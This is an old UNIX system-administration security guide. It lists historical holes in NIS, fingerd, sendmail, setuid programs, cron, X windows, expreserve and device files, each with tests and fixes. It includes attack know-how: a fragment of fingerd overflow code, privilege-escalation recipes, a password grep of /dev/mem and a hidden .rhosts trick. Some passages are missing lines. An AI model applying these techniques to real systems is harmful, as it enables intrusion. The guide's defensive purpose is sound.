                     umask 022 ; \
                     awk 'BEGIN { FS=":"; OFS="\t"; } /^[a-zA-Z0-9_]/ { ...

- Problem
NIS is more than willing to give out the administrative files which it so
kindly keeps available.  The only catch to this is requests must be made by
root.  With the number of PC's and single-user workstations around, this is
certainly not difficult.

+ Solution
The only solution to this is NOT to run NIS.  Hardly a solution, but
certainly a fact.

`Fingerd' is a daemon that provides remote hosts information about users.
The information can include: who is currently logged in, a user's full
name, and a user's plan/project.

- Problem
The standard `fingerd' on Berkeley based systems calls a function `gets()'
to get an input line for parsing.  Because `gets()' does not check the
buffer overflow, a shell process will be run by `fingerd' if some specific
input is fed to the daemon.  As an example, here is the Sun assembler code
to feed your friendly daemon:

     ! First send 340 0x01's to the daemon -- address 0x0efffbe0
     ! Next is this 64 byte pattern
     pea0x203b:w ! Really -=> pea 0x3b:w
     ! Follow up by overwriting the return address

This bug was exploited by the December 1988 Internet worm on Vax systems.
Besides giving unauthorized access, it also gives root privileges because
`fingerd' runs as root.

* Test
If the version of `fingerd' you are running is older than November 1988,
you probably need to obtain a newer version.

There is no simple test to perform that will adequately show if your system
has this flaw without showing exactly how to exploit the hole.  Therefore,
you should contact your local security guru.

+ Solution
Either do not provide this service or obtain a more recent version of the
`fingerd' software (Best answer).


These network services allow remote connections to be made to a host.

- Problem
Login information can be snooped from rlogin and telnet logins.  It
is primarily in BSD-derived systems, but others may be at risk also.
It has been confirmed in SunOS 4.0.3, SunOS 4.1, and Ultrix 4.0.
NOTE: Although telnetd/rlogind are networking programs, the bug
can only be used by local users.

* Test
Write a C program that opens a pty slave and blocks until the master
side is opened by a telnet (or rlogin) daemon.  Read  the login name
and stuff it back using the TIOCSTI icotl() call, and wait until
'/bin/login' has read it.  Do the same with password.  You now have
the users login name and password.

+ Solution
While waiting to obtain an official fix from your vendor, write a program
that opens, at regular intervals, the first five (or more) free ptys and
immediately closes them.  This will generally cause snooper programs to
terminate and logging useless information.

The SunOS Patch ID is 100125-03.

Modems and Terminal Servers

- Problem
Suppose the super-user is using the system by telephone, port finder,
terminal switch, or Annex box and gets cut off.  Later an ordinary user
gets connected to the same port and finds he is in the super-user account.
Systems are supposed to prevent this, but do they?  I have personally seen
this happen during a power surge.

+ Solutions
Make sure that modems and such hang up properly, and your system correctly
logs off disconnected users.

Account Security

 "A password should be like a toothbrush: Use it everyday;
  change it regularly; and DON'T share it with friends."

Compromising someone's personal account is one of the easiest ways for a
cracker to penetrate your system.  Easy to guess passwords, group and guest
accounts, old and unused accounts are the most frequently traveled paths of
intruders.  These roads must be closed!

Passwords are the most vital part of UNIX system security.  If an intruder
can get a user's password, he has half the battle won already.  If he
manages to get the password of a system administrator, three quarters of
the battle is won.  Obtaining the super-users password ends the war, and
the intruder wins.  For this reason, selecting a secure password is
extremely important.

- Problem
The standard UNIX `passwd' utility places few restrictions on what a user
may use as a password.

+ Solutions
Write a password policy, educate users about the new policy, and enforce it

Acquire a new version of `passwd' that gives administrators tighter control
over the types of passwords users may select.

- Problem
Password files, on occassion, become corrupted.  This can be due to a fluke
of nature or through user intervention.

+ Solution
Periodically check the password and group files for improper entries or
defective lines.  Save the password file every night and compare with
previous day's file, then examine `diff' listings for bogus accounts.

Guest Accounts

- Problem
Guest accounts present still another security hole.  By their nature,
these accounts are rarely used, and are always used by people who should
only have access to the machine for the short period of time they are
guests [Curr90].

+ Solution
The most secure way to handle guest accounts is to install them on an
as-needed basis, and delete them as soon as the people using them leave.
Guest accounts should never be given simple passwords such as "guest" or
"visitor," and should never be allowed to remain in the password file when
they are not being used [Curr90].

Group Accounts

A group account is a single account shared by several people.  For
example, all of the programmers working on project xyzzy.

- Problem
Since users should not share passwords (See Password Policies for more
information) -- the concept of a group account already violates the
recommended policy.

+ Solution

Give each user requiring access to the system an account and put each of
the members into a group (in `/etc/group').  For example: Bart, Lisa, and
Maggie are working on a project.  Give each of them normal user accounts to
the system.  Create a new group in `/etc/group'.


The groupname is "simpsons", the group ID is "800", and the members are
"bart, lisa, and maggie".  Simple, yet so much more secure.  Now for the
three members of "simpsons" to share files, they just need to make sure the
files they want to share are accessible by the group "simpsons".  More
information can be obtained by reading your systems documentation
concerning groups.

File System Security

"No such file or directory"
-- ls -l /

The UNIX filesystem is hierarchical, with files organized into directories,
and filesystems, in most cases, restricted to a single physical hardware
device such as a disk drive.  Filesystems typically include facilities for
naming files and for controlling access to files [McKu89].  Since the
filesystem contains the most important parts of your operating system, it
should be made secure.  That tends to be a difficult task.  While most of
these have been fixed, new variants of them keep happening over and over in
new software so they are of educational value.

Set UID Programs

When a program is executed, the process created from the program is
assigned four numbers that indicate who that process belongs to.  These

   * real UID
   * effective UID
   * real GID
   * effective GID

Normally, the effective UID and GID are the same as the real.  The
effective UID and GID are used by UNIX to determine a process' permissions.
If the effective UID of a process is the same as the UID of the owner of a
file, then that process has the owner's access permissions to the file;
otherwise, if the effective GID of a process matches the GID of the group
associated with a file, then that process has the group's access
permissions; otherwise, a process is granted the access permissions of
others.  Here is the example in Pseudo-code:

     if effective UID matches UID of file
          then owner access
     else if effective GID matches GID of file
          then group access
          other access

Normally, whenever you execute a program, the effective and real UIDs and
GIDs are set to your UID and GID, respectively.  So if that process wants
to read a particular file, then you must have read access to that file

Setting the SUID permission on a program changes this behavior.  When this
permission is set, all processes created from that program will have the
effective UID of the program's owner, and not yours.  Because file access
permissions are determined from the effective UID and not the real, the
process from a SUID program has the same access permissions as the owner of
that program, no matter who executes the program [Wood79].

Commands to automatically run batch files.

- Problem
Program `/usr/lib/atrun' runs privileged by `cron'.  Directory
`/usr/spool/at' was writable by everybody.  User went into `/usr/spool/at',
ran a setuid root program, and then gave it a quit, creating a `core' file
owned by root, then linked that file to have a name like a genuine at
submission.  `Atrun' takes the uid from the owner of the submission file,
so when the owner is root it runs privileged for the user.

- Problem
Next variation on `atrun': `/usr/spool/mail' directory was writable by
everybody.  Submit a program requiring privileges to `atrun' as self.  Then
link it to `/usr/spool/mail/root'.  Then `mail' something to root which
changes ownership of `/usr/spool/mail/root' to root, hence again fooling
`atrun' into running the submission privileged.

- Problem
`/usr/lib/crontab' was owned by bin. man was setuid bin.  Users were able
to get a shell setuid bin.  This enabled them to modify `crontab', and
hence do anything.

- Problem
Next variation on `cron'.  Link `/usr/lib/crontab' to
`/usr/spool/mail/self'.  Then send mail to self; `mail' changes the
ownership of `crontab' to self.  Then edit `crontab' to remove the mail and
add command to give privileges to self.

Since these flaws are in older versions of UNIX, you should consider
upgrading the operating system or manually fixing the code and recompile.

A program to allow a user to update his "finger" information.

- Problem
A bug in `passwd/chfn/chsh' is exploited when the length of a password
entry in `/etc/passwd' is longer than BUFSIZ.  A user can cause the length
of his/her password entry to be longer than BUFSIZ with the `chfn' command
and finally a super-user account like:


to be created in `/etc/passwd'

+ Solution
Acquire the latest release of `chfn', compile, and install.

A program to report user information.

- Problem
Another `finger' problem involves `fingerd' which normally runs as root.
Therefore, if a user's `.project' or `.plan' file is symbolically linked to
another file which is not readable by an ordinary user, such as
`/usr/local/adm/bad-logins', `fingerd' can tell the contents of the file.

* Test

     $ ln -s some unreadable file .plan
     $ finger [email protected] hostname
     Login name: joeuser    (messages off)In real life: Joe E. User
     Directory: /home/joeuser           Shell: /bin/sh
     On since Apr  1 10:05:51 on ttyp4 from
     No unread mail
     You should not be able to read this file.

* Solution
Acquire the latest release of `finger', compile, and install.

The UNIX on-line manual reading system.

- Problem
Berkeley `man' program was owned by user manuals and setuid.  This was an
attempt to allow it to create the nroff-ed copies in its own directory
without allowing all users to write into that directory.  User was able to
get a shell owned by user manuals.  Using this, he was able to over-write
the `man' program with one which did his side effects and then called the
real one.  Then he waited for a super user to run `man'.  The side effect
of his program was to replace `/bin/sh' with one of his own writing.  He
had cleverly cut the size of the error messages so that his own `man'
program was exactly the same size as the original.  When super user
executed `man' it would execute the file `/tmp/sh-' which happens to be a
file name used by `man'.  The intruder had previously stored a program as
`/tmp/sh-' which when executed by super user would establish a setuid root
shell.  This was detected by setuid messages on the system console and also
because there was a bug somewhere in the whole scheme that would lock up
the system in a loop creating the setuid root shell over and over.

- Problem
The Berkeley `man' program was setuid bin and calls `more', a pager.
`More' allowed the user to get a shell as bin and thus to write files owned
by bin outside the manuals directory.  Moral: setuid-anything can be as
dangerous as setuid-root.

* Solution
Do not allow the `man' program to be set UID.

'rwalld' is a server that handles 'rwall' and 'shutdown' request.  It is
implemented by calling 'wall' to all the appropriate network machines.
The rwalld daemon is normally invoked by 'inetd'.

- Problem
'/etc/utmp' is world writable; thus, can be written to by ANY user or
process.  'rpc.rwalld' utilizes the information in '/etc/utmp' to
determine what terminals to display information on.  Since 'rpc.rwalld'
is started by inetd (thus run by root), 'wall' does not check to make
sure that the file it is writing to is a terminal.  A rather clever
user can rewrite '/etc/utmp' in such a way to have 'wall' write ANY
information the user wants into '/etc/passwd' or any other file.  If you
still have an insecure 'tftp' enabled, this bug will allow not only
local, but remote users to gain unauthorized root access.

This same problem can be exploited using comsat and mail instead of
rcp.rwalld and rwall.

* Test
Determine if your '/etc/utmp' is world writable.

     $ ls -l /etc/utmp
     -rw-rw-rw-  1 root          216 Mar 29 21:33 /etc/utmp

+ Solution
Turn off 'rpc.rwalld' and contact your vendor for a fix.  Later releases
of SunOS have this problem corrected while leaving '/etc/utmp' world
writable.  If in doubt, turn it off until your vendor ensures you that
the problem has been corrected.

The shell programming language.

- Problem
There are several problems with having setuid shell scripts.  There are
three basic approaches which I know of to break these scripts:

Environment Variables

These methods involve setting values for the PATH and/or IFS variables.
PATH is easy to get around either by explicitly setting it at the start of
the script or by specifying the full paths to the commands.  IFS applies
only to `sh' scripts; normally, it only contains space, tab, and newline
but, a script could be invoked with the character '/' in IFS; then the
command `/bin/mv' would be interpreted as the command `bin' with the
argument `mv'. This also applies to the `system()' call from C which
invokes a Bourne shell.  The workaround for IFS is to reset it to the
appropriate value at the start of the script.  Including assignments are
interpreted before the input is segmented.

rc files

For some reason, when `csh' is invoked suid, it reads the `.cshrc' file
belonging to the real user rather than the uid it is running as.  Obviously
the user can put as many malicious commands in there as he likes.  Thus it
is necessary to invoke `csh' with the `-f' option to prevent it from
reading `.cshrc'.

Symbolic links

When an interpreter script is invoked via `execve()' the interpreter is
invoked by tagging the script name onto the end of the `#!' line at the
start of the script.  The first idea is to make the script name look like
another argument of which the most useful is `-i'.  This can be done by
creating a symbolic link to the real script.  This does not apply to `csh',
which will not run suid unless invoked with the `-b' option which
terminates option processing.  The fix with `sh' is to give the argument
`-' which has the same effect.  The really nasty problem, which has no easy
fix, is that it is possible after invoking the script through symbolic link
to make that symbolic point to a different file before the interpreter
begins to read commands.  The timing on this is important in order for the
method to work, but is not difficult to achieve.

+ Solution
DO NOT allow set UID shell scripts on the system.

A mailer independent Email handling subsystem.

- Problem
4.3BSD `sendmail' (prior to 5.61) runs setuid root and allows a
user-supplied file of addresses with the `:include:' syntax on the command
line.  It fails to check where the user has permission to access the file
to be included, so intruders were able to use `sendmail' to read any file
in the system.

- Problem
A bug connected to the `-C' option which causes an alternative
configuration file to be used.  If the file is a protected file which is
actually not a send mail configuration file, `sendmail' will print out some
contents of the file as an error message.

- Problem
Another bug involves the `-q' and `-oQ' options and causes any
file to be deleted.  For example, if the qf file looks like this:

     H?P?return-path: <user>
     H?F?from: user (User Name)
     H?x?full-name: User Name
     HTo: user
     Hsubject: Gotcha

after the command `sendmail -q -oQ' is issued, file `filename'
will be deleted and its content will be mailed to user.

+ Solution
Obtain the latest version of sendmail.

- Problem
When delivering to files and programs, `sendmail' does not do an
`initgroups(3)' after forking on final delivery.  As a result, the sender's
group list remains in effect throughout this stage.  This is particularly
serious when root is sending the mail since a program executed out of a
`.forward' file gains interesting privileges like `wheel' and `kmem'.  A
related hole can be broken down into a "problem" and an "aggravation".  The
"problem" is that queued local mail no longer has the original recipient's
uid associated with it. Control files only store a list of exploded
recipients (i.e. users, files and programs) -- one per line -- each
prefaced with an `R'.  So, after an address resolves to the local machine
and has undergone alias and ".forward" expansion, if the letter happens to
get queued, on the succeeding queue run sendmail doesnt know who to run the
final delivery as.  The "aggravation" is that, when doing this final
delivery of queued local mail, sendmail will `setuid()' itself to
the sender's uid if it is available; in general, the sender's uid will be
used when the sender is on the local machine. As a result, a user can run a
program as anyone who sends them mail from the local machine.  There is
also an added "complication"; the default uid and gid are also set to the
sender when delivering mail!  Since the default uid and gid are only used
when calling `setuid()' and `setgid()' (to reset the uid/gid before doing
final delivery), these variables should never be set to the sender.

+ Solution
This problem will be fixed in the next version of Berkeley sendmail.
Patches can be obtained from your local UNIX guru.

Set GID Programs


- Problem
`Mail' and `mailx' are set GID to the group `mail'.  There are useful
options to these utilities that will allow you to read anyones mail.  The
use of other features in the `mail' program can allow the user to spawn a
shell with the full permissions of the group `mail'.

+ Solution
Do not have `mail' set GID.  This may require some other fixes to sendmail
and other applications.  Contact your vendor for more information.


- Problem
`Man' runs set GID to group man.  This causes nearly the same effects as
having `man' set UID.

+ Solution
Do not run `man' set GID.

Startup files

- Problem
Users have had their directories writable by others.  Said others have
installed or modified `.login' and `.cshrc' files to get control of the
owner's account. (Doesn't compromise the whole system, but does compromise
the affected account).  With 4.2BSD and later the ability to make a
`.rhosts' file in another user's account is an entry to that account.

For added subtlety, have a `.logout' file that creates the `.rhosts' and a
line in `.login' that removes it, so the real user is unlikely to see it.
An abridged list follows:

     Global start up file for Bourne shells

     Global start up file for C-shells

     User's personal start up file for Bourne shells
     User's personal start up file for C-shells

     Personal file executed at logout by C-shells

     User's personal start up file for Korn shells

     Used by `kermit' to personalize it's environment

     Used by the `vi' editor to set up macros and such

     Used by the `emacs' editor for customization

     Used by mailer programs for initialization

+ Solution
Monitor permissions on startup files carefully.  Permissons for a users
personal dot files should be 0600.

     -rw-------  1 joeuser  student    1251 May  8 13:35 /home/joeuser/.cshrc

User Utilities
User utilities have always been the target for all sorts of attack.  The
chances of finding a victim are astronomical.

Windowing Systems
Windowing systems are the wave of the future, not only for developers
and users, but for hackers.  Windowing code tends to very complex and
therefore tends to have many bugs in its infancy.  Some of these bugs
[often known as features] are major security holes.


Sunview, also known as suntools, is used on workstations running SunOS.

- Problem
The console's frame buffer, `/dev/fb', is world readable.  This
allows clever users to dump images of a workstations screen for viewing.
This comes in handy when your professor is logged in writing up next
week's exam.

+ Solution
Force `login' to properly set the modes of the frame buffer.  Version
4.1 of SunOS provides this feature.

- Problem
Under SunOS running the SunView windowing system, it is possible to
remotely access files using SunView selection_svc(1) subprocess and the
RPC facility.

The selection_svc program handles all selections made by SunView client
programs.  It is used to modify resource files and cut/paste
selections.  The way these clients communicate with selection_svc is
through RPC calls.  The problem is that the selection service process
will accept RPC requests from any user, both locally and remotely.  No
authentication is preformed.

What's worse it that it is possible to scan for local systems having
the RPC service available.  The command:

     $ rpcinfo -b selection_svc 6

will print a list of systems running selection_svc on the local
broadcast network.

For Sun's 386i systems, the problem is more complicated.  On these
systems, selection_svc is started when '/etc/init' runs '/etc/rc'.
Because init runs as root, you tell selection_svc to read any file.

+ Solution
Obtain the proper fix from Sun or run the X Windowing system.

X Windows

The X window system is used by many different systems ranging from the
Cray 2 (UNICOS 5.x) to Vax 11/785 (BSD 4.3) to IBM PC (Xenix).  This
makes the probability of a hole being found much greater.

- Problem
The `xterm' terminal emulator provided as part of X windows has a rather
bad security hole.  This problem exists in X version 11, both releases 3
and 4, and possibly other versions as well. To the best of my knowledge,
this bug has not been used in a malicious or harmful way by anyone, but the
potential is frightening.  The `xterm' emulator has a feature that allows a
user to keep a logfile of what's been typed in the xterm window.  The
feature also allows a command to be specified as the logfile, in which case
what would normally be written to the logfile is instead written to the
input of the given command (standard UNIX-style pipeline setup).  The
security hole arises because the xterm emulator defines some escape
sequences which can be sent to the xterm window to control the logging
feature: turning logging on or off and changing the logfile name.  These
escape sequences could conceivably be embedded in a mail message, and the
message sent to a victim.  If the victim displays the message in an xterm
window (for example by running mail from within an xterm window), the
escape sequences will effectively cause the victim to run whatever commands
the attacker wishes.  The victim will probably be unaware of the attack,
since the escape sequences are not displayed in the xterm window.

* Test
There is no simple test to perform that will adequately show if your
system has this flaw without showing exactly how to exploit the hole.
Therefore, you should contact your local security guru.

+ Solution
Obtain patches from your vendor or MIT.


This runs exclusively on DEC workstations.

- Problem
DECwindows has a bug which stores user's plain text password in memory.
The password was transferred between `login' and `Xprompter' and
unfortunately will not be destroyed after authentication, even after the
user logs out.  Since `/dev/mem' is readable by everybody, the password
could be obtained by scanning `/dev/mem' for a specific string pattern like

     $ od -s /dev/mem | grep assw | grep name
     12345678 name: joeuser\npassword: I'mw/7CG\n

+ Solution
Contact you DEC vendor for fixes.


- Problem
'/bin/mail' can be caused to invoke a root shell if given the
(im)proper arguements.

+ Solution
Contact your vendor for the necessary patches.  Sun Patch ID: 100224-01.


- Problem
Some old UNIX systems have a bug concerned with the `mkdir' command.  This
bug is caused by resource competition.  Taking advantage of this bug, a
user has a little chance to change the ownership of any file.  This bug is
very randomized and needs a long time to reproduce.

+ Solution
New versions of UNIX do not have this problem.  Upgrade your operating
system to better your chances.


- Problem
On all Ultrix (2.x and 3.0) systems, `su' still cannot correctly track the
super user log.  The following `su' tells nothing about who has become a
super user or who has tried the `su' command but failed.

     $ su < /dev/tty

A message like:

     SU: /dev/tty on the console
     SU: /dev/tty Mon Apr 1 12:20:41 1989 in the syslog file

- Problem
At one time the `su' program with the `-s' option would execute a user's
program as shell in privileged mode; hence, the user's program could set
itself to setuid root.

+ Solution
Contact your vendor or upgrade.


- Problem
On UNIX System V based systems, there is a bug which causes the password
file to be destroyed totally or to be truncated partially.  When this bug
results in a partial `/etc/passwd' file, an entry similar to `xyz::0:0:::'
will be created.  This bug is related to the current setting of the users

* Test
There is no simple test to perform that will adequately show if your system
has this flaw without showing exactly how to exploit the hole.  Therefore,
you should contact your local security guru.

+ Solution
Contact your vendor for a fix or do not allow users to lower their ulimit


- Problem
A rather barbaric race condition in `expreserve' that allows the setuid
program to be compromised by changing the permissions of a file.  This bug
exists in all expreserves up to and including Berkeley 4.3.  (well not
quite).  On all System V and earlier releases this works.  Under System V
`expreserve' places the Ex temp file in the directory
`/usr/preserve/$LOGNAME' and under the Berkeley releases it places them
under either `/usr/preserve' or `/var/preserve'.

This feature will definitely allow security to be breached on all standard
System Vs and all Berkeley-ish systems that have the `/usr/preserve'
directory writable by the user (Note: SUNOS has this directory unwritable
by default).

The System V bug was relatively unavoidable (though the addition of the "S"
bit to directories in SVR3.2 could close the hole) until SVR4 but the
Berkeley bug should have been fixed as soon as the `fchown()' system call
was added to BSD.  Basically the "hole" is that expreserve does:

     fd = creat("/usr/preserve/Exaaa$PID, 0600);
     chown("/usr/preserve/Exaaa$PID, real_uid, real_gid);

when it should do a:

     fd = creat("/usr/preserve/Exaaa$PID, 0600);
     fchown(fd, real_uid, real_gid);

which avoids the race (it changes the permission on the inode that was
`creat()''ed and not the inode whose name is `/usr/preserve/Exaaa$PID').
The previous examples are actually simplified as expreserve actually looks
at the uid and gid as stored in the `/tmp/Ex$PID' file and compares them to
the `getuid()' and `getgid()' return values.

The actual race is that a context switch may occur between the `creat()'
and `chown()' in expreserve that allows another process with write
permission to the target directory to `unlink()' the `creat()''ed file and
place a hard link to another file by that name in the target directory,
which expreserve subsequentialies `chown()'s to your uid.  This feature
allows any file on the same device to be `chown()''ed to you.  Though you
may see support for symbolic links, on the version of UNIX that I have
tested this on, this will only change permissions on the symlink.  I find
this confusing as `ELOOP' is an alleged failure condition for `chown()'
implying that a symbolic link resolution.

* Test
The procedure for demonstrating this bug is to create a VALID non-zero
length `/tmp/Ex$PID' file and copy it to the directory where the program is
located under the name data.  To do this edit a junk file, make some
changes and escape to a shell and check the `/tmp' directory for a non-zero
length `Ex$PID' file owned by you, copy it to the testing directory and run
the program that follows.  Note: This program needs to be modified to run
under System V to support `/usr/preserve/$USER/Exaaa$PID' targets, it has
been tested under SUNOS 4.x and HPUX.  For performance reasons, this bug
works best if you make a hard link to the target file in the directory that
expreserve places the editor temporary.  Less chance sleeping on an inode
(hence the `chdir()').

+ Solution
Obtain a new version of `expreserve'.

There have been lots of security problems with Sun's Yellow Pages facility.
Some of these involve security holes in programs; others involve the way
defaults are set when the system is shipped, such that any host in the
world is trusted.

Programming Utilities


TIOCCONS is the ioctl  used to redirect the output of /dev/console to go to a
specified pty.  This is mostly used on workstations to redirect console
messages to a particular window.  Xterm uses this feature (xterm -C).

- Problem
It appears that the problem is that any users that use this will be able
to read information from the console.  The problem is much worse under
SunOS 4.1 (and older versions).  It allows the process to write on the
pty simulating data from the console.  This can be hazardous if the
current user on the console is root.

+ Solution
Contact your vendor for the appropriate patch.  The SunOS Bug ID is #1008324.


- Problem
The TIOCSTI bug is an old one which has been fixed in 4.3BSD.  But,
it has not been fixed in 4.2BSD and its derivatives.  This bug allows an
ordinary user to access another terminal remotely without touching its
keyboard if the user has write permission on that terminal.

+ Solution
To really fix this bug, it requires the upgrading of your operating
system or you have to hack the kernel alone.  As a kludge, you
could modify programs such as `login', `write', `wall',
etc. to insure that the permissions on terminals are NOT world readable
at any time.  This takes a considerable amount of time and effort.


- Problem
The `gets()' function fails to check for buffer overflow in its input.
This allows a carefully constructed string to be sent to `gets()' to
overwrite the buffer and alter the stack frame.  If done properly to a set
UID/GID program, it can allow a super user shell to be created.

+ Solution
Use `fgets()' in place of `gets()'.


- Problem
As written, `popen()' constructs a pipe between the calling process
and a command.  It utilizes `/bin/sh'; therefore, if it is used
in set UID/GID programs, it can be fooled in executing dangerous code.

+ Solution
Avoid using `popen()' or carefully construct your programs
environment to avoid having nasty side effects.


- Problem
SunOS provides a variant of the 4.3 BSD ptrace() facility which permits a
process to be traced without prior arrangement if its effective UID matches
that of the tracing process (or the tracing process has super-user privileges).
Unfortunately, the effective UID alone does not necessarily describe all of
the privileges a process is entitled to use.

Many set-UID programs desire to utilize the set-UID access permissions for
only a few operations and wish all others to occur with the privileges of
the invoking user.  As process access permissions are supposed to
determined by the effective UID and GIDs only, the recommended method [1]
for a process to temporarily grant itself the privileges and restrictions
of either its invoker (real UID) or set-UID file owner (effective UID) is
to swap its real and effective UIDs via setreuid(geteuid(), getuid()) or a
similar operation.  Therefore, prudent programs often execute most of their
code with their effective UID set to the invoker's UID, and enable their
set-UID privileges only when necessary to perform particular (apparently
privileged) operations.  Such a process can be be manipulated with ptrace()
if one can arrange to have ptrace(PTRACE_ATTACH) applied to it while it is
running with its effective UID set to the invoker's effective UID, at which
point it can be forced to execute code specified by the tracing process,
including code which sets its effective UID back to that of the set-UID
file owner.

A similar (but more direct) mechanism can be used to obtain the privileges
of set-GID programs.  As ptrace(PTRACE_ATTACH) ignores GIDs completely, it
can be applied to virtually any set-GID program, provided that it is not
also set-UID.  The process can then be manipulated in a way similar to the
set-UID programs mentioned above.

+ Solution
This requires a fix to the kernel.  It has been fixed in SunOS 4.1.1.


- Problem
There is a bug in 4.2BSD which allows you to set your process group and
your terminal process group to any value you like.  This results in a
nasty security feature.  You can send a signal to any process group
which in turn can send the signal to any process. This allows a user to
stop your favorite security daemon, bother `init' (bring the system
down to single user?), and so on...

+ Solution
The fix for this bug requires modification to the system's kernel.  For
best results, contact your vendor for an upgrade.


- Problem
The `system()' call, like `popen()', invokes a Bourne Shell.

+ Solution
Don't use the `system()' call, especially in a set UID program.


- Problem
There are several utilities available to encrypt on-line files to make
them unreadable.

+ Solution
These programs are normally based on single rotor enigma encryption
engines.  Schemes such as this are inherently insecure and should not be
used if you really expect the data to be safe.  There is even a set
of tools publically available to decrypt files that have been
encrypted with `crypt(1)'.

Crypt Breakers' Workbench

Crypt Breakers' Workbench  ---  By Robert W. Baldwin <mit-eddie!baldwin>

The Crypt Breakers' Workbench (CBW) is an interactive multi-window system
for mounting a cipher-text only attack on a file encrypted by the Unix
crypt command.  CBW is a workbench in the sense that it provides the user
with an integrated set of tools that simplify the initial, middle and final
portions of the decryption process.  A user interacts with the workbench by
choosing tools and setting parameters.  CBW carries out the work and
displays the results.  A moderately experienced user of CBW can easily
decrypt both long and short messages when bigram statistics are known for
the message space.  The basic cryptanalytic techniques used by CBW are
described in a paper by Reeds and Weinberger that appeared in the October
1984 issue of the ATT Bell Laboratories Technical Journal.

The security of devices is an important issue in UNIX.  Device files are
used by the various programs to access the data on the disk drives or in
memory.  If these device files are not properly protected, your system is
vulnerable to attack.


- Problem
Files such as `/dev/mem', `/dev/kmem', and `/dev/drum' should never be
world readable and most certainly not world writable.  This results in the
user being able to read structures within the kernel called clists.  Clists
contain a lot of interesting information.  One of the pieces of data that
an intruder might like to see is all of the keystrokes a user is typing.
This works out well if the user is changing his password or `su'-ing to
root.  A writable memory would allow a user to patch his UID in the kernel
and gain super user access immediately.

* Test

     Under SunOS 3.5

     ls -l /dev/*mem /dev/drum
     crw-r--r--   1 root     wheel      7,   0 Jul 19  1989 /dev/drum
     crw-r--r--   1 root     wheel      3,   1 Jul 19  1989 /dev/kmem
     crw-------   1 root     wheel      3,   3 Jul 19  1989 /dev/mbmem
     crw-r--r--   1 root     wheel      3,   0 Jul 19  1989 /dev/mem

+ Solution
If the system supports the group kmem and utilities such as `ps' and `top'
can be set GID to group kmem, this should be done and the devices should be
set to 640.  If there is no notion of group kmem or an equivalent and
programs such as `ps' are set UID to root, the devices should be owned by
root and set to the mode 600.


- Problem
The disk devices, such as /dev/xy0c are readable by the world or
writable by the world.

* Test
This is how things "should" look

     brw-------   1 root   operator    3,   0 Dec 11 12:28 /dev/xy0a
     brw-------   1 root   operator    3,   1 Jul 19  1989 /dev/xy0b
     brw-------   1 root   operator    3,   2 Jul 19  1989 /dev/xy0c
     brw-------   1 root   operator    3,   3 Jul 19  1989 /dev/xy0d
     brw-------   1 root   operator    3,   4 Jul 19  1989 /dev/xy0e
     brw-------   1 root   operator    3,   5 Jul 19  1989 /dev/xy0f
     brw-------   1 root   operator    3,   6 Jul 19  1989 /dev/xy0g
     brw-------   1 root   operator    3,   7 Jul 19  1989 /dev/xy0h

+ Solution
Investigate any possible reason why the permissions were munged and
change them to an exceptable mode immediately.

= Discussion
With very few exceptions, all devices should be owned by "root".  One
exception is the terminal.  These will be owned, after login, by the user
currently connected to that device.  When the user logs off of that device,
it should be changed back to it's original state.  Terminal port
permissions need to be watched closely.

Monitoring Your System

    "STOP! Or we shall be forced to severely pummel you about the head"
 -- Batman

In order to maintain a reasonable level of security, the system
administrator needs to monitor his system.  This involves constantly
checking for security holes, security violations, and examining log files.
Much of this can be automated, but human intervention is normally required
to a certain degree.  Monitoring programs should be used to set off bells
and whistles to the system administrator, not to manage the security.

Network Monitoring
Keeping up with network security is extremely difficult.  There are an
infinite number of ways to enter your system and its tough to know which
doors to watch, which ones to lock, and which ones can be left open.
Despite the difficulty, there are some basic tools that can be used to

The `syslog' facility is a mechanism that enables any command to log error
messages and informational messages to the system console, as well as to a
log file.  Typically, error messages are logged in the file
`/usr/spool/log/syslog' along with the date, time, and name of the program
sending the message of the program. A sample segment of the `syslog' file
is shown below.

  Dec 24 12:10:06 ws1 nntpxmit: Greet=502 samt19 NNTP server can't talk to you.
  Dec 24 12:25:04 ws1 nntpd: rnews: inews: No valid newsgroups found.
  Dec 24 14:53:37 ws1 login: ROOT LOGIN ttyp3 FROM
  Dec 24 15:18:08 ws1 login: ROOT LOGIN ttyp3 FROM
  Dec 24 16:52:20 ws1 vmunix: sd2c:  read failed, no retries
  Dec 25 06:01:18 ws1 vmunix: /: file system full
  Dec 25 08:02:03 ws1 login: ROOT LOGIN ttyp4 FROM
  Dec 25 08:28:52 ws1 su: joeuser on /dev/ttyp3
  Dec 25 08:38:03 ws1 login: ROOT LOGIN ttyp4 FROM triceratops.itst
  Dec 25 10:56:54 ws1 automount[154]: host fserv not responding
  Dec 25 11:30:42 ws1 login: REPEATED LOGIN FAILURES ON ttyp3 FROM
        , daemon
  Dec 25 13:17:16 ws1 nntpxmit: Greet=502 samt19 NNTP server can't talk to you.

Of particular interest in this sample are the messages from the `login' and
`su' programs.  Whenever someone logs in as "root," `login' logs this
information.  Generally, logging in as "root" directly, rather than using
the `su' command, should be discouraged, as it is hard to track which
person is actually using the account.  `Login' also logs any case of
someone repeatedly trying to log in to an account and failing.  After three
attempts, `login' will refuse to let the person try anymore. Searching for
these messages in the `syslog' file can alert you to a cracker attempting
to guess someone's password.  Finally, when someone uses the `su' command,
either to become "root" or someone else, `su' logs the success or failure
of this operation.  These messages can be used to check for users sharing
their passwords, as well as for a cracker who has penetrated one account
and is trying to penetrate others [Curr90].

The `showmount' command can be used on an NFS file server to display the
names of all hosts that currently have something mounted from the server.
With no options, the program simply displays a list of all the hosts.  With
the `-a' and `-d' options, the output is somewhat more useful.  The first
option, `-a', causes `showmount' to list all the host and directory
combinations.  For example:

There will be one line of output for each directory mounted by a host.
With the `-d' option, `showmount' displays a list of all directories that
are presently mounted by some host.

The output from `showmount' should be checked for two things.
First, only machines local to your organization should appear there.
Second, only "normal" directories should be mounted.  If you find
unusual directories being mounted, you should find out who is mounting
them and why -- although it is probably innocent, it may indicate
someone trying to get around your security mechanisms [Curr90].

FTP Logging
Some versions of `ftp' allow administrators to turn on and off logging
information.  The standard BSD4.2 `ftp' does not do it, but there are
publically available patches to the code to enable this feature.  It is
highly recommended.  A sample log file might look like: (bsimpson) Wed May 30 19:32:11 1990
     get /pub/gnu/gcc-1.37.tar.Z
     @ (intruder) Wed May 30 22:13:01 1990
     get /etc/passwd
     put /pub/annoying-msg Wed Jun  6 08:19:16 1990
     get /pub/sun-source/faces-1.3.tar.Z
     get /pub/gnu/emacs-18.55.tar.Z

In the case where lines begin with an `@', an anonymous `ftp' was
preformed.  Traditionally, when using anonymous `ftp' is being done, the
user supplies his login name as the password.  It is done as common
